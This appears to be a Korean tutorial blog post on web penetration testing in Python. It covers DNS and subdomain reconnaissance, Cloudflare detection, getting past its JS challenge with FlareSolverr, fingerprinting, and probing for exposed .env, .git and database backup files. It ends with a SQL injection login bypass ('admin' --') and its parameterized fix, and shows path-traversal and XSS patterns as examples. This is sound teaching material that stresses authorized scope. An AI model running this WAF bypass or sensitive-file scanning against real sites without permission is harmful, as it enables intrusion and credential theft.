이 글의 Python 블록은 기법을 설명하려고 단순화한 예제다. 실제 코드와 일대일로 같은 버전이 아니므로, 실행 결과를 보고할 때는 실행한 파일·버전·요청 범위를 기록한다.
내가 처음에 보안에 대해서 배웠을때 결과 4가지로 구분하라고 배웠다.
관측은 상태 코드·본문·시간의 변화, 후보는 대조 요청과 다른 반응, 확정은 보호된 자원이나 동작의 접근을 권한·세션까지 통제해 재현한 상태다. 미확인은 요청 실패·타임아웃·시험 범위 밖이다. 뒤의 출력 메시지에서 “후보”라고 적힌 항목은 보고서에 확정 취약점으로 옮기지 않는다.
1. 시작하기 전에 - 웹 보안 기초
1.1 침투테스트란?
침투테스트(penetration test)는 허가된 범위에서 공격 경로를 모사하고 실제 영향과 방어 경계를 확인하는 작업이다. 범위·요청량·계정·증거 수집 한도를 먼저 합의한다. 증거는 필요한 최소량만 남기고, 비밀값이나 개인정보를 보고서에 그대로 싣지 않는다.
보통은 파이썬들을 현업에서 많이 쓴다. 익스플로잇 용도로도 많이 쓰기도 한다.
사실 한국서는 보안테스트에 파이썬이 보편적이다.(SK 쉴더스 다니는 지인 발언에 따르면)
1.2 HTTP 기초 — 왜 이걸 알아야 하나?
모든 웹 공격은 HTTP 요청과 응답의 구조를 이해하는 것에서 시작한다.
[요청]
GET /search?q=hello HTTP/1.1 ← 메서드(GET) + 경로 + 버전
Host: example.com ← 대상 서버
User-Agent: Mozilla/5.0 ← 클라이언트 정보
Cookie: session=abc123 ← 인증 상태
[응답]
HTTP/1.1 200 OK ← 상태 코드
Content-Type: text/html ← 본문 타입
Set-Cookie: session=abc123 ← 서버가 주는 쿠키
<html><body>hello</body></html> ← 본문핵심 개념:
상태 코드: 200(성공), 302(리다이렉트), 403(거부), 404(없음), 500(서버 에러)
쿠키(Cookie): 브라우저가 저장하고 조건(도메인·경로·Secure·SameSite 등)에 맞는 요청에 보내는 값. 세션 식별자일 수도 있다.
세션(Session): 로그인 상태를 유지하는 방식 중 하나. 서버 측 세션, 서명된 쿠키, 토큰 등 구현은 다르다.
GET vs POST: HTTP 메서드의 의미가 다르다. 둘 다 URL의 쿼리 문자열을 사용할 수 있고, POST에는 본문도 실을 수 있다.
1.3 준비물
pip install requests # 유일한 필수 패키지# 모든 스크립트의 시작점 — requests 세션 만들기
import requests
session = requests.Session()
session.headers.update({
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
"Accept": "text/html,application/xhtml+xml",
"Accept-Language": "ko-KR,ko;q=0.9,en;q=0.8",
})왜 Session()을 쓰는가? Session 객체는 쿠키를 자동으로 저장하고 다음 요청에 다시 보낸다. 로그인 후 인증이 필요한 페이지에 접근하려면 세션이 필요하다.
requests.get()을 따로 쓰면 매번 쿠키가 초기화된다.
보통 이것에 핵심은 재사용이다.requests.get() 같은 최상위 함수는 호출할 때마다 내부적으로 새 Session을 하나 만들어 쓰고 버린다는 것인데, 사실 쿠키 헤더 직접 넣는 것보다 세션 객체를 만들어서 파는 이유는 결국 침투 테스트는 '동일한 사람인 척' 하는 것이 핵심이기때문이다. 결국 취약점 테스트라는 것이 대부분 로그인 상태를 전제로 하고 있고, 세션마다 쿠키 헤더를 붙이면 취약점이 없어서 막히는 건지, 내가 쿠키에서 실수한 건지 구분이 안되니까 주로 재사용을 전제로 한다. 그리고 세션이 다르면 응답이 달라질 수 있기에 관측이 오염된다. 즉 관측의 기준점을 제공해준다.
사실 여기엔 허접한 파이썬 requests로 스캐너 짜지만, 실제 현업 하는 애들은 Burp Suite나 Nuclei,sqlmap 같은 검증 툴 위주로 굴린다. 실제로 업계 표준보다는 프로그래머로써 최소한의 이해 위주로 작성했다.
2. DNS 정찰
2.1 왜 DNS를 먼저 조회하나?
웹사이트의 실제 서버 IP를 찾기 위해서다. 도메인 이름(example.com)은 사람을 위한 별명이고, 컴퓨터는 IP 주소(1.2.3.4)로 통신한다. DNS는 이 둘을 연결하는 전화번호부다.
DNS에서 알아내는 것:
A 레코드: 도메인 → IPv4 주소
AAAA 레코드: 도메인 → IPv6 주소
MX 레코드: 이메일 서버
TXT 레코드: 도메인 검증 토큰, SPF 설정
CNAME: 별명 → 실제 도메인
침투테스트에서 DNS 조회는 “공격 표면의 지도”를 그리는 첫 단계이다.
IP를 모르면:
어느 서버를 시험하는 건지 확정할 수 없음 (CDN 뒤면 엣지 IP만 보임)
같은 IP에 다른 도메인이 얹혀 있는지(공유 호스팅) 알 수 없음
서브도메인·메일 서버·검증 토큰 같은 부수 자산이 드러남
특히 TXT 레코드는 의외로 많은 걸 흘린다. SPF 설정(v=spf1 include:...)에서 메일 인프라를, google-site-verification=... 같은 토큰에서 사용 중인 SaaS를 추정할 수 있다. “웹사이트만 보면 되지 않나?” 싶지만, 실제 침해 사고는 메일 서버나 스테이징 서브도메인처럼 덜 관리되는 자산에서 시작되는 경우가 많기때문이다.
2.2 Cloudflare인지 확인하는 법
Cloudflare는 WAF(Web Application Firewall)와 CDN을 제공한다. 도메인이 Cloudflare 뒤에 있으면:
A 레코드가 Cloudflare의 IP 범위에 속한다
HTTP 응답에
CF-RAY헤더가 있다Server: cloudflare헤더가 있다
왜 이게 중요한가? CDN의 엣지 응답과 원본 서버의 응답을 혼동하면 점검 결과를 잘못 해석한다. 허가 범위에서 어느 계층을 시험하는지 먼저 확인한다.
[내가 보는 것] [실제로 응답하는 것]
example.com → Cloudflare 엣지(104.16.x.x) → 원본 서버(비공개 IP)내가
403을 받았다 → Cloudflare WAF가 막은 것인가, 원본 서버가 거부한 것인가?내가
200을 받았다 → 원본 서버가 준 응답인가, CDN 캐시인가?
이걸 구분 안 하면 “SQLi가 차단됐다”고 보고하지만, 실은 WAF가 아니라 CDN 캐시가 응답한 것이거나, 반대로 “뚫렸다”고 했는데 캐시된 정적 페이지였던 식의 오판이 생긴다.
WAF는 흔한 자동화 공격을 걸러내는 데 효과적이라 나는 달아두는 편을 추천한다. 내 사이트에는 Vercel WAF를 달았다. 더 싸니까.
2.3 코드: DNS 조회
import requests
import json
def dns_lookup(domain, record_type="A"):
"""Google DNS-over-HTTPS (DoH) 로 DNS 레코드 조회
왜 Google DoH를 쓰는가?
1. 별도 패키지(dnspython) 설치 없이 requests만으로 가능
2. Google의 공개 API이며 무료다
3. DNS 결과를 JSON으로 받을 수 있어 파싱이 쉽다
"""
url = "https://dns.google/resolve"
r = requests.get(url, params={"name": domain, "type": record_type}, timeout=10)
r.raise_for_status()
data = r.json()
status = data.get("Status")
if status == 3:
raise LookupError(f"NXDOMAIN: {domain}")
if status != 0:
raise RuntimeError(f"DNS 조회 실패 (Status={status}): {domain}")
records = []
if "Answer" in data:
for answer in data["Answer"]:
records.append({
"name": answer.get("name", ""),
"type": answer.get("type", 0), # 1=A, 28=AAAA, 15=MX, 16=TXT, 5=CNAME
"TTL": answer.get("TTL", 0),
"data": answer.get("data", ""),
})
return records
# --- 사용 예 ---
domain = "example.com"
print(f"=== {domain} DNS 조회 ===")
# A 레코드 (IPv4)
a_records = dns_lookup(domain, "A")
for r in a_records:
print(f" A: {r['data']} (TTL: {r['TTL']}s)")
# MX 레코드 (이메일)
mx_records = dns_lookup(domain, "MX")
for r in mx_records:
print(f" MX: {r['data']}")
# TXT 레코드 (도메인 검증)
txt_records = dns_lookup(domain, "TXT")
for r in txt_records:
print(f" TXT: {r['data'][:80]}")Type 숫자의 의미: 1=IPv4(A), 28=IPv6(AAAA), 5=CNAME, 15=MX, 16=TXT, 2=NS
DNS API는 숫자로 알려주므로 이 표를 참조해야 한다. HTTP 200이어도 DNS 응답의Status는 SERVFAIL일 수 있다. 위 함수는 NXDOMAIN과 실패를 예외로 구별하고,Status=0인데 Answer가 없으면 빈 목록을 돌려준다. Google DoH 문서
2.4 코드: Cloudflare 감지
def is_cloudflare(domain):
"""도메인이 Cloudflare 뒤에 있는지 확인
두 가지 방법을 교차 검증한다:
1. A 레코드가 Cloudflare IP 대역인지
2. 실제 HTTP 응답에 CF-RAY 헤더가 있는지
"""
# 방법 1: IP 대역 확인
a_records = dns_lookup(domain, "A")
cf_ip_ranges = [
"103.21.244.0/22", "103.22.200.0/22", "103.31.4.0/22",
"104.16.0.0/13", "104.24.0.0/14", "108.162.192.0/18",
"131.0.72.0/22", "141.101.64.0/18", "162.158.0.0/15",
"172.64.0.0/13", "173.245.48.0/20", "188.114.96.0/20",
"190.93.240.0/20", "197.234.240.0/22", "198.41.128.0/17",
]
import ipaddress
is_cf_ip = False
for r in a_records:
try:
ip = ipaddress.ip_address(r["data"])
for cidr in cf_ip_ranges:
if ip in ipaddress.ip_network(cidr):
is_cf_ip = True
break
except ValueError:
continue
# 방법 2: HTTP 헤더 확인
try:
resp = requests.get(f"https://{domain}", timeout=15)
has_cf_ray = "cf-ray" in {k.lower() for k in resp.headers}
has_cf_server = resp.headers.get("Server", "").lower() == "cloudflare"
is_cf_http = has_cf_ray or has_cf_server
except Exception:
is_cf_http = False
return is_cf_ip and is_cf_http # 두 단서가 일치한 관측값왜 둘 다 확인하는가? IP 대역과 응답 헤더는 서로 다른 단서다. 둘이 일치하면 Cloudflare 엣지를 거쳤을 가능성이 높지만, IPv6·CNAME·프록시 구성과 대역 목록 갱신까지 확인한 완전한 판정은 아니다.
2.5 코드: 서브도메인 열거
서브도메인(admin.example.com, api.example.com)을 찾는 이유: 메인 사이트는 잘 막아놓아도 서브도메인에는 방어가 없는 경우가 많다.
다음 코드는 2.3절의 dns_lookup()과 함께 사용한다.
def enumerate_subdomains(domain, wordlist=None):
"""일반적인 서브도메인 이름을 하나씩 DNS에서 조회
원리: 후보 이름의 A 레코드를 조회한다. NXDOMAIN은 이름이 없다는
응답이고, NOERROR이지만 A 레코드가 없는 경우도 있다.
전송 실패나 SERVFAIL은 이름이 없다는 뜻이 아니다.
"""
if wordlist is None:
wordlist = [
"www", "mail", "admin", "api", "dev", "test", "staging",
"portal", "app", "blog", "shop", "cdn", "static", "login",
"dashboard", "vpn", "remote", "secure", "m", "mobile",
"support", "help", "docs", "status", "cpanel", "webmail",
]
found = []
for word in wordlist:
subdomain = f"{word}.{domain}"
try:
records = dns_lookup(subdomain, "A")
except LookupError: # NXDOMAIN: 해당 이름 없음
continue
a_records = [record for record in records if record["type"] == 1]
if a_records:
ip = a_records[0]["data"]
print(f" 발견: {subdomain} -> {ip}")
found.append({"subdomain": subdomain, "ip": ip})
return found2.6 코드: Certificate Transparency 로그 검색
CT 로그는 공개적으로 기록된 인증서에서 도메인 이름을 찾는 단서다. 그 이름이 지금도 DNS에 등록되어 있거나 서비스가 열려 있다는 뜻은 아니다.
def search_ct_logs(domain):
"""crt.sh에서 Certificate Transparency 로그 검색
원리: SSL 인증서를 발급할 때 "example.com"뿐 아니라
"*.example.com" 같은 와일드카드나 "admin.example.com" 같은
SAN(Subject Alternative Name)이 포함된다.
이 기록이 공개 CT 로그에 남으므로, 인증서 기록에서
과거에 인증서에 실린 이름의 후보를 찾을 수 있다.
"""
url = f"https://crt.sh/?q=%.{domain}&output=json"
try:
r = requests.get(url, timeout=30)
if r.status_code == 200:
data = r.json()
subdomains = set()
for entry in data:
names = entry.get("name_value", "")
for name in names.split("\n"):
name = name.strip().lower().rstrip(".")
target = domain.lower().rstrip(".")
if name and (name == target or name.endswith("." + target)) and "*" not in name:
subdomains.add(name)
print(f" CT 로그에서 {len(subdomains)}개 서브도메인 발견")
for sd in sorted(subdomains):
print(f" - {sd}")
return list(subdomains)
except Exception as e:
print(f" CT 로그 조회 실패: {e}")
return []핵심은 진단 위생이다. 웹 보안과 침투 테스트에 임하는 많은 이들이 흔히 범하는 실수는, 브라우저 주소창에 입력된 '도메인 이름(example.com)'을 타겟의 실체라고 착각하는 데서 시작한다.
도메인은 인간의 편의를 위해 만들어진 것이다, 'DNS 정찰'은 바로 논리적 인프라를 드러내어 완벽한 '공격 표면(Attack Surface)의 지도'를 그리기 위해 수행하는 것이다.
우리가 DNS 정찰을 가장 먼저, 그리고 심도 있게 수행해야 하는 이유는 보통은 2가지인데,
보통 웹사이트 메인은 단단하다. 하지만 보통 보안에서 약한 지점은 오래되어 사용되지 않는 지점에서 발생한다. 이번 니케 해킹 사태도 그렇다. 기본적으로 서브도메인이나, 관리자 admin 포털, 개발용 스테이징을 찾아내는 작업이 중요하다. 더불어 MX 레코드
로 메일 서버의 위치를 파악하고, TXT 레코드에 담긴 검증 토큰을 통해서 내부적으로 SaaS 서비스에 의존 여부까지 파악할 수 있다. 핵심은 이러한 덜 관리된 부수 자산이 침투의 기지 역할을 한다.
거기에 더해서 현대의 웹서비스 대부분은 Cloudflare나 AWS WAF 같은 CDN과 웹 방화벽 뒤에 있는데, DNS 정찰 없이 메인 도메인에 페이로드를 던진다면 보통 CDN의 엣지노드로 전달된 확률이 높고, 이 경우 403 Forbidden 응답이 원본 서버인지 앞단 WAF인지 구분하기가 어렵다.
3. WAF 탐지와 우회
3.1 WAF가 뭔가?
WAF(Web Application Firewall)는 웹 요청을 검사해서 공격 패턴을 차단하는 방화벽이다. 일반 방화벽이 IP/포트 단위로 차단한다면, WAF는 요청 내용을 검사한다.
[공격자] --SQLi 페이로드--> [WAF] --차단--> 403 Forbidden
|
(정상 요청) --> [웹 서버] --> 200 OKCloudflare WAF가 차단하는 것:
SQL 인젝션 패턴 (
' OR 1=1)XSS 패턴 (
<script>)경로 순회 (
../../../etc/passwd)의심스러운 봇 요청 (JS Challenge 발동)
3.2 Cloudflare JS Challenge 원리
Cloudflare는 의심스러운 트래픽에 "Just a moment..." 페이지를 보낸다. 이 페이지는:
브라우저에 과제를 제시하고 환경·행동 신호를 확인한다
통과한 방문자에게 조건에 맞는
cf_clearance쿠키를 발급할 수 있다유효한 clearance는 해당 수준 이하의 추가 Challenge를 생략할 수 있지만, 모든 WAF 차단 규칙까지 무력화하지는 않는다
왜 Python requests로는 안 통하는가? requests는 JavaScript를 실행하지 않는다. JS 계산 문제를 풀 수 없으므로 cf_clearance를 받지 못한다.
3.3 FlareSolverr — 우회 원리
FlareSolverr는 실제 브라우저(Chromium)를 실행해서 JS Challenge를 푼다.
[Python requests] --요청--> [FlareSolverr] --Chromium 실행-->
[Cloudflare] --JS Challenge--> [FlareSolverr가 Chromium으로 풀이]-->
[cf_clearance 쿠키 획득] --> [Python에 쿠키 전달]
--> [이후 요청도 별도 규칙·유효 기간·방문자 조건에 따라 평가]3.4 코드: FlareSolverr로 cf_clearance 획득
import requests
import time
def get_cf_clearance(target_url, flaresolverr_url="http://localhost:8191"):
"""FlareSolverr를 사용해 Cloudflare JS Challenge를 통과하고
cf_clearance 쿠키와 User-Agent를 받아온다.
전제조건:
- Docker로 FlareSolverr 실행:
docker run -d -p 8191:8191 ghcr.io/flaresolverr/flaresolverr
- FlareSolverr가 http://localhost:8191 에서 대기 중이어야 함
왜 User-Agent도 같이 받아오는가?
발급 당시 User-Agent를 함께 기록해 요청 조건을 비교한다.
다만 같은 User-Agent만 설정해도 쿠키가 다른 기기나 세션에서
유효해지는 것은 아니다. 재사용과 이후 요청 통과를 보장하지 않는다.
"""
payload = {
"cmd": "request.get",
"url": target_url,
"maxTimeout": 60000,
}
resp = requests.post(f"{flaresolverr_url}/v1", json=payload, timeout=120)
data = resp.json()
if data.get("status") != "ok":
print(f"FlareSolverr 실패: {data.get('message', 'unknown')}")
return None, None
solution = data.get("solution", {})
cookies = solution.get("cookies", [])
user_agent = solution.get("userAgent", "")
cf_clearance = None
for cookie in cookies:
if cookie.get("name") == "cf_clearance":
cf_clearance = cookie.get("value")
break
if cf_clearance:
print(f"cf_clearance 획득 성공 (User-Agent: {user_agent[:50]}...)")
else:
print("cf_clearance 쿠키를 찾지 못함")
return cf_clearance, user_agent
def make_bypass_session(cf_clearance, user_agent, domain):
"""cf_clearance 쿠키가 설정된 requests 세션을 만든다.
쿠키는 해당 방문자·기기에 묶이고 유효기간과 clearance 수준이 있다.
이 세션이 모든 요청을 통과시킨다는 보장은 없다.
"""
session = requests.Session()
session.headers.update({
"User-Agent": user_agent,
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language": "ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7",
})
session.cookies.set("cf_clearance", cf_clearance, domain=domain)
return session
# --- 사용 예 ---
# target = "https://example.com"
# domain = "example.com"
# cf_clearance, ua = get_cf_clearance(target)
# if cf_clearance:
# session = make_bypass_session(cf_clearance, ua, domain)
# resp = session.get(target, timeout=30)
# print(f"상태: {resp.status_code}, 길이: {len(resp.text)}")한계: 브라우저로 과제를 통과하더라도 차단·속도 제한·재검증은 따로 적용될 수 있다. Turnstile도 구성에 따라 토큰만 발급하거나 별도의 pre-clearance를 발급하므로 한 종류의 "사진 선택 CAPTCHA"로 묶을 수 없다. Cloudflare clearance 문서
4. 웹 애플리케이션 정보 수집
4.1 왜 정보를 먼저 수집하나?
공격하기 전에 "적이 누구인지" 알아야 한다. 어떤 프레임워크, 어떤 서버, 어떤 DB를 쓰는지에 따라 공격 방법이 달라진다.
4.2 핑거프린팅 — 기술 스택 식별
핑거프린팅(fingerprinting)은 웹 서버가 응답에 남기는 단서들로 기술 스택을 추측하는 것이다.
import requests
import re
def fingerprint(url):
"""HTTP 응답에서 기술 스택을 식별한다.
확인하는 단서:
1. Server 헤더 — 웹 서버 종류 (nginx, Apache, IIS)
2. X-Powered-By 헤더 — 언어/프레임워크 (PHP, Express, ASP.NET)
3. Set-Cookie 이름 — 프레임워크 세션 (ci_session, laravel_session)
4. HTML 내용 — JS 프레임워크 (Vue, React, Angular)
5. WAF 헤더 — Cloudflare (CF-RAY), AWS WAF 등
"""
session = requests.Session()
session.headers.update({"User-Agent": "Mozilla/5.0"})
r = session.get(url, timeout=15)
headers = dict(r.headers)
body = r.text.lower()
info = {"url": url, "technologies": []}
# --- 1. 서버 헤더 ---
server = headers.get("Server", "")
if server:
info["server"] = server
info["technologies"].append(f"Server: {server}")
print(f" Server: {server}")
# --- 2. X-Powered-By ---
powered = headers.get("X-Powered-By", "")
if powered:
info["powered_by"] = powered
info["technologies"].append(f"X-Powered-By: {powered}")
print(f" X-Powered-By: {powered}")
# --- 3. 프레임워크 (쿠키 이름으로 식별) ---
# CodeIgniter: ci_session, csrf_test_name
# Laravel: laravel_session, XSRF-TOKEN
# Django: csrftoken, sessionid
# Express: connect.sid
cookie_names = {cookie.name.lower() for cookie in r.cookies}
framework_map = {
"ci_session": "CodeIgniter",
"laravel_session": "Laravel",
"sessionid": "Django",
"connect.sid": "Express.js",
"jsessionid": "Java/Spring",
}
for cookie_key, fw_name in framework_map.items():
if cookie_key in cookie_names:
info["framework"] = fw_name
info["technologies"].append(f"Framework: {fw_name}")
print(f" Framework: {fw_name}")
break
# --- 4. WAF 감지 ---
waf_map = {
"cf-ray": "Cloudflare",
"x-amzn-waf": "AWS WAF",
"incapsula": "Imperva",
"akamai": "Akamai",
}
header_names = {key.lower() for key in r.headers}
for waf_key, waf_name in waf_map.items():
if waf_key in header_names:
info["waf"] = waf_name
info["technologies"].append(f"WAF: {waf_name}")
print(f" WAF: {waf_name}")
break
# --- 5. JS 프레임워크 ---
if "vue.js" in body or "data-v-" in body:
info["technologies"].append("JS: Vue.js")
if "react" in body or "data-reactroot" in body:
info["technologies"].append("JS: React")
if "angular" in body or "ng-app" in body:
info["technologies"].append("JS: Angular")
if "jquery" in body:
info["technologies"].append("JS: jQuery")
if "bootstrap" in body:
info["technologies"].append("CSS: Bootstrap")
# --- 6. 타이틀 ---
title_match = re.search(r"<title>(.*?)</title>", r.text, re.I | re.S)
info["title"] = title_match.group(1).strip() if title_match else ""
info["status_code"] = r.status_code
info["content_length"] = len(r.content)
print(f" Status: {r.status_code}")
print(f" Title: {info['title']}")
print(f" Body Length: {len(r.content)} bytes")
return info왜 이게 유용한가?
ci_session같은 쿠키 이름은 CodeIgniter 사용 가능성을 보여주는 단서다. 이름은 바꿀 수 있고 다른 코드에서도 흉내 낼 수 있으므로, 버전이나 취약점을 확정하지 말고 추가 증거와 대조한다.
4.3 엔드포인트 열거 — 숨겨진 페이지 찾기
4.2절의 requests import와 함께 사용하는 함수다.
import time
def enumerate_endpoints(base_url, session=None):
"""일반적인 관리자/설정/백업 경로를 하나씩 시도해
접근 가능한 페이지를 찾는다.
응답 해석 기준:
- 200: 페이지 존재 (접근 가능)
- 403: 서버가 응답했지만 거부 (파일이 있을 수 있음)
- 404: 없음 (또는 일반 에러 페이지로 위장)
주의: 404도 "없음"인지 "의도적 응답"인지
응답 본문 길이로 판단해야 할 때가 있다.
"""
if session is None:
session = requests.Session()
common_paths = [
# 관리자/로그인
"admin", "admin/", "login", "login.php", "signin",
"register", "signup", "join",
# API
"api", "api/v1", "api/v1/users", "api/login",
# 설정/정보
"robots.txt", "sitemap.xml", ".htaccess",
"phpinfo.php", "info.php", "test.php",
# 개발자 파일
"composer.json", "composer.lock", "package.json",
".env", ".git/HEAD", ".git/config", ".gitignore",
# 백업
"backup.zip", "backup.sql", "db.sql", "dump.sql",
# 관리 도구
"phpmyadmin", "adminer", "wp-admin", "wp-login.php",
"server-status", "server-info",
# CodeIgniter 특화
"application/config/database.php",
"application/config/config.php",
"vendor/autoload.php",
"user_guide/",
]
found = []
for path in common_paths:
test_url = f"{base_url.rstrip('/')}/{path}"
try:
r = session.get(test_url, timeout=10, allow_redirects=False)
if r.status_code != 404:
print(f" [{path}] {r.status_code} ({len(r.content)}b)")
found.append({
"path": path,
"status": r.status_code,
"length": len(r.content),
})
except requests.RequestException as error:
print(f" [{path}] 요청 실패: {error}")
time.sleep(0.5) # --- 너무 빠르면 차단될 수 있음
return found왜
allow_redirects=False를 쓰는가? 리다이렉트의 원래 상태 코드와Location을 확인하기 위해서다. 로그인 페이지로 보내는 공통 302나 일괄 200 오류 페이지도 있으므로, 이것만으로 경로 존재를 확정하지는 않는다.
4.4 보안 헤더 검사
보안 헤더는 브라우저에게 "이 사이트는 이런 공격을 막아달라"라고 지시하는 HTTP 응답 헤더다.
def check_security_headers(url, session=None):
"""보안 헤더가 설정되어 있는지 확인한다.
주요 보안 헤더:
- HSTS: HTTPS 응답을 본 브라우저의 이후 HTTP 접근을 HTTPS로 업그레이드
- X-Frame-Options: 클릭재킹 방지 (다른 사이트에 iframe으로
이 사이트를 삽입하는 것을 막음)
- X-Content-Type-Options: MIME 스니핑 방지
- CSP: 어디서 JS/CSS를 불러올 수 있는지 제한
- Referrer-Policy: Referer 헤더로 어디까지 주소를
공개할지 제한
"""
if session is None:
session = requests.Session()
r = session.get(url, timeout=15)
headers = {k.lower(): v for k, v in r.headers.items()}
expected = {
"strict-transport-security": "HSTS (HTTPS 강제)",
"x-frame-options": "클릭재킹 방지",
"x-content-type-options": "MIME 스니핑 방지",
"content-security-policy": "CSP (콘텐츠 제한)",
"referrer-policy": "Referer 제한",
}
present = {}
missing = []
for header, description in expected.items():
if header in headers:
present[header] = headers[header]
print(f" [있음] {description}: {headers[header]}")
else:
missing.append(description)
print(f" [없음] {description}")
return {"present": present, "missing": missing}판정할 때: 헤더의 존재만으로 설정이 올바르다고 볼 수 없다. 클릭재킹 방어는
X-Frame-Options대신 CSP의frame-ancestors로 구현할 수도 있다. HSTS는 HTTPS 응답에서 확인하며, 최초 HTTP 접속의 HTTPS 리다이렉트와 구별한다. MDN CSP, MDN HSTS
4.5 쿠키 보안 검사
아래 예제는 이번 응답이 설정한 쿠키의 Secure와 HttpOnly만 본다. SameSite의 실제 브라우저 동작이나 로그인 쿠키 여부까지 판정하지는 않는다.
def check_cookies(url, session=None):
"""쿠키의 보안 속성을 확인한다.
쿠키 속성의 의미:
- Secure: HTTPS로만 전송 (HTTP에서는 안 보냄 → 도청 방지)
- HttpOnly: 해당 쿠키를 document.cookie로 직접 읽지 못하게 함.
XSS 실행이나 인증된 요청 자체를 막지는 않음
- SameSite=Strict/Lax: 다른 사이트에서 올 때 쿠키 전송 제한
(CSRF 방어)
"""
if session is None:
session = requests.Session()
r = session.get(url, timeout=15, allow_redirects=False)
results = []
for cookie in r.cookies:
result = {
"name": cookie.name,
"domain": cookie.domain,
"secure": cookie.secure,
"http_only": cookie.has_nonstandard_attr("HttpOnly"),
}
print(f"\n 쿠키: {cookie.name}")
print(f" Secure: {result['secure']}")
print(f" HttpOnly: {result['http_only']}")
if not result["secure"]:
print(f" [검토] Secure 플래그 없음 — 전송 경로 확인 필요")
if not result["http_only"]:
print(f" [검토] HttpOnly 없음 — 쿠키 용도 확인 필요")
results.append(result)
return results사실 이렇게 말하면 좀 어렵겠지만 보안 성숙도를 파악하기 위한 방식이라고 이해하면된다.
기술 스택 식별(핑거프린팅): HTTP 응답 헤더(Server, X-Powered-By), 특정 프레임워크 고유의 쿠키 이름, 그리고 HTML 본문의 단서들을 수집해 타겟이 어떤 언어와 웹 서버, WAF(웹 방화벽)를 쓰는지 역추적하는데, 적의 무기 체계를 알아야 그에 맞는 공격 방식을 선택할 수 있기 때문이다.
핑거 프린팅 기술은 기본적으로 스크래핑 봇을 만드는데 주로 쓰인다. 이건 프리랜서 프로그래머로써 가장 자주 하는 데이터 스크래핑에 자주 쓰이니까 기억하는게 좋다.
보통 이렇게 기술 스택 식별을 하는 이유는 노출된 버전을 통해서 구글이나 익스플로잇 DB를 통해서 이미 공개된 취약점(CVE)를 적용하기 위한 것이다. 즉 이미 발견된 CVE를 사용하기 위해서이고, 기술 보안이 항상 업데이트가 이루어져야하는 이유이다.
숨겨진 경로(엔드포인트) 열거: 일반 사용자에게는 보이지 않는 관리자 페이지, 백업 파일, 설정 파일 등을 찾아냅니다. 이때 단순히 404(없음) 상태 코드만 믿는 것이 아니라, 응답 길이의 차이나 리다이렉트(302) 여부까지 꼼꼼히 대조하여 교묘하게 가려진 진입점을 발굴한다.
엔드포인트 열거(Endpoint Enumeration)를 통해 찾아내는 가장 성공적인 전리품은 다름 아닌 /.env 같은 설정 파일이다. 보통 해킹 기술에서 사람들은 SQL 인젝션이나 RCE 같은 익스플로잇에 집착하지만, 보통 홈페이지의 가장 큰 위험은 .env같은 설정파일 노출이다. 파일 안에는 AWS 접속 키(Access Key)나 운영 데이터베이스의 크리덴셜이 평문으로 적혀 있다. 굳이 WAF를 우회하고 쿼리를 비틀어 짤 이유조차 없다. 그냥 주운 마스터키를 들고 클라우드에 정정당당하게 접근하면 되기때문이다. 그래서 요즘은 Vercel,Netlify, 클라우드 프로바이더의 Secrets manager가 필수적으로 쓰이는 이유도 이때문이다. 그래서 요즘은 VPS에서 전부 작업하지 않고, 플랫폼 Vault에 수납하는 식으로 처리한다. 사실상 요즘 홈페이지 만드는데 돈 많이 드는 이유가 이때문인 것이다.
보안 설정(헤더 및 쿠키) 점검: CSP, HSTS, X-Frame-Options 같은 보안 헤더와 쿠키의 안전 속성(Secure, HttpOnly)이 제대로 설정되어 있는지 확인한다. 이를 통해 애플리케이션이 XSS나 클릭재킹 같은 클라이언트 대상 공격에 얼마나 취약한지, 방어벽의 구멍을 평가한다.
보통은 관리자 권한 탈취에 쓰인다. 게시판에 XSS(크로스 사이트 스크립팅) 취약점이 하나 발견되었다고 가정하자. HttpOnly가 설정돼 있다면 공격자의 스크립트는 해당 세션 쿠키를 document.cookie로 직접 읽지 못한다. 하지만 alert(1) 하나로 끝나는 해프닝은 아니다. 그 스크립트는 여전히 피해자의 브라우저에서 실행되고, 로그인된 권한으로 요청을 보내거나 페이지에 보이는 정보를 읽을 수 있다. HttpOnly가 빠져 있으면 쿠키 값까지 노출될 수 있으며, 탈취한 쿠키를 다른 곳에서 재사용할 수 있는지는 서버의 세션 정책에 달려 있다. 관리자 API의 권한 검사는 결국 서버에서 해야 한다.
내 홈페이지의 관리자 로그인은 구글 계정을 이용한다. 외부 ID 공급자에 최초 인증을 맡기면 서비스가 관리자 비밀번호를 직접 보관하지 않아도 된다. 그러나 로그인 이후의 애플리케이션 세션은 여전히 내 서비스의 책임이다. 구글 로그인을 붙였다는 이유로 내부 세션 탈취가 막히거나 관리자 권한이 물리적으로 분리되지는 않는다. 세션 보호와 무효화, 관리자 API의 서버 측 권한 검사를 따로 지켜야 한다.
이런 것을 보면 기본적으로 프로그래머는 결국 남의 서비스를 갖다 붙이는 인종이라는 걸 생각도 한다. 보안이라는 게 아무리 방패를 정교하게 만들어도 표면이 너무 넓기때문에 책임을 남한테 돌리기 위해서 어떤 부위의 방패와 갑옷은 외주주는 것이 중요하기때문이다.
5. SQL Injection
5.1 SQL이 뭔데?
SQL은 데이터베이스에 데이터를 저장/조회/수정하는 언어다.
-- 설명용 취약 예시. 실제 서비스는 비밀번호 해시를 별도로 검증한다.
SELECT * FROM users WHERE username = 'admin' AND password = '1234'5.2 왜 인젝션이 통하는가?
문제는 문자열 결합에 있다. 취약한 코드:
// [안 좋은 코드] — 사용자 입력을 그대로 SQL에 넣음
$query = "SELECT * FROM users WHERE username = '" . $input . "' AND password = '" . $pw . "'";
// MySQL에서 입력값이 admin' -- (끝에 공백 포함)이면:
// SELECT * FROM users WHERE username = 'admin' -- ' AND password = '...'
// ↑ 여기서부터 주석 처리됨
// → 비밀번호 검사가 무시됨안 좋은 코드에서 일어나는 일:
MySQL에서
admin' --를 입력하면'admin' --가 된다.--뒤 공백은 주석 문법의 일부다.이 취약한 문자열 결합 예제에서는 뒤의
AND password = ...가 주석 처리될 수 있다.admin사용자가 존재하고 애플리케이션이 이 결과만으로 로그인시킨다는 전제라면 비밀번호 검사가 우회된다. DB 방언·쿼리·인증 흐름에 따라 결과는 달라진다. MySQL 주석 문법
안전한 코드 (매개변수 바인딩):
// [안전한 코드] — ? 자리표시자로 값과 SQL 구조를 분리
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ? AND password = ?");
$stmt->execute([$input, $pw]);
